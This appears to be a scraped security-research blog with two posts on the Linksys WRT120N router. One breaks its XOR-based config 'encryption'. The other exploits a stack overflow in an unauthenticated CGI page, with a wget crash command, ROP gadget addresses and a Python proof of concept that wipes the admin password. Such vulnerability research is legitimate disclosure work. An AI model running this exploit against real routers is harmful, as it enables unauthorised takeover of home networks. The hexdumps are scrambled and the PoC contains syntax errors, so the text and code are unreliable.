Cracking Linksys “Encryption”

Perusing the release notes for the latest Linksys WRT120N firmware, one of the more interesting comments reads:
Firmware 1.0.07 (Build 01)
- Encrypts the configuration file.
Having previously reversed their firmware obfuscation and patched their code to re-enable JTAG debugging, I thought that surely I would be able to use this access to reverse the new encryption algorithm used to secure their backup configuration files.
Boy was I giving them way too much credit.
Here’s a diff of two backup configuration files from the WRT120N. The only change made between backups was that the administrator password was changed from “admin” in backup_config_1.bin to “aa” in backup_config_2.bin:
OFFSET backup_config_1.bin backup_config_2.bin
----------------------------------------------------------------------------------------
0x00001468 9E 9B 92 96 91 FF FF FF |........| / 9E 9E FF FF FF FF FF FF |........|
Two things to note here:
  • The first letter of each password (“a”) is encrypted to the same value (0x9E)
  • The same letter (“a”) is encrypted to the same value (0x9E), regardless of its position in the password
I immediately suspected some sort of simple single-byte XOR encryption. If true, then XORing the known plain text (“a”, aka, 0×61) with the known cipher text (0x9E) should produce the XOR key:
0x61 ^ 0x9E = 0xFF
Applying the XOR key of 0xFF to the other characters in the password gives us:
0x9E ^ 0xFF = a
0x9B ^ 0xFF = d
0x96 ^ 0xFF = i
0x92 ^ 0xFF = m
0x91 ^ 0xFF = n
And XORing every byte in the config file with 0xFF gives us a decrypted config file:
00000000 33 34 35 36 00 01 df 60 00 00 46 ec 76 31 2e 30 |3456...`..F.v1.0|
00000010 2e 30 37 00 00 00 00 00 00 00 00 00 00 00 00 00 |.07.............|
00000030 32 30 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 |20N.............|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 57 52 54 31 |............WRT1| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
* 00000080 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 00 00 |admin...........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |............... . 000000a0 00 00 00 00 00 00 00 00 61 64 6d 69 6e 00 00 00 |........admin...| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0
* 00000100 00 00 00 00 00 00 00 00 30 2e 30 2e 30 2e 30 00 |........0.0.0.0.| 00000110 00 00 00 00 00 00 00 00 01 01 01 00 00 00 00 01 |................|
00140 2e 31 2e 31 00 00 00 00 00 32 35 35 2e 32 35 35 |.1.1.....255.255| 0
0000120 00 00 00 01 00 00 00 00 00 00 00 08 32 39 34 38 |............2948| 00000130 33 31 30 35 00 01 00 00 00 31 39 32 2e 31 36 38 |3105.....192.168| 00 00000150 2e 32 35 35 2e 30 00 00 00 00 00 00 04 00 02 00 |.255.0..........| 00000160 01 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 4f |..............LO| 00000170 4f 50 42 41 43 4b 00 00 00 00 31 32 37 2e 30 2e |OPBACK....127.0.|
000001b0 00 00 00 00 49 52 51 3d 30 20 50 4f 52 54 3d 30 |....IRQ=0 PORT=0|
00000180 30 2e 31 00 00 00 00 00 00 00 32 35 35 2e 32 35 |0.1.......255.25| 00000190 35 2e 32 35 35 2e 32 35 35 00 00 00 00 00 00 00 |5.255.255.......| 000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
This is truly atrocious. Given that “encrypting” the backup configuration files is done presumably to protect end users, expecting this to thwart any attacker and touting it as a product feature is unforgivable.
OK, I don’t really care that much. I’m just disappointed that it took longer to write this blog post than it did to break their “crypto”.

Tuesday, February 18, 2014

Hacking WRT120N Home Router

With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.
As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:
401 Unauthorized
401 Unauthorized
Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:
bypass_file_list("/cgi-bin/login /images/ /login...");
bypass_file_list(“/cgi-bin/login /images/ /login…”);
Full list of bypass files
Full list of bypass files
Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.
Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the/cgi/tmUnBlock.cgi page does have a handler that processes some user data:
cgi_tmUnBlock function handler
cgi_tmUnBlock function handler
The interesting bit of code to focus on is this:
1
fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));
Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:
fprintf
fprintf
Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.
Respect yourself. Don't use sprintf.
Respect yourself. Don’t use sprintf.
This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:
1
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
Stack trace of the crash
Stack trace of the crash
A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:
Admin password at 0x81544AF0
Admin password at 0x81544AF0
The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.
Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:
fprintf's function epilogue
fprintf’s function epilogue
There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:
First ROP gadget
First ROP gadget
If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:
  • Zero out the admin password
  • Return to the return address stored on the stack (we control the stack)
  • Add 16 to the stack pointer
This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to thecgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.
Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.
Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0×60 to the stack pointer:
cgi_tmUnblock function epilogue
cgi_tmUnblock function epilogue
We’ve already added 0×10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0×50 to the stack pointer, then that ROP gadget can be used to effectively replacecgi_tmUnblock‘s function epilogue.
There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:
Second ROP gadget
Second ROP gadget
This gadget only adds 0×10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblockwill be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:
ROP stack frames and relevant registers
ROP stack frames and relevant registers
With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import sys
import urllib2
 
try:
    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]
    sys.exit(1)
 
url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url
 
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "\x81\x54\x4A\xF0"         # $s0, address of admin password in memory
post_data += "\x80\x31\xF6\x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "\x80\x34\x71\xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler
 
for in range(04):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "\x80\x34\x71\xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "\n\n" and terminating
                                        # NULL byte)
 
try:
    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
    else:
        print "Received unexpected server response:"str(e)
except KeyboardInterrupt:
    pass
Logging in with a blank password after exploitation
Logging in with a blank password after exploitation
Arbitrary code execution is also possible, but that’s another post for another day.

Comments

Popular Posts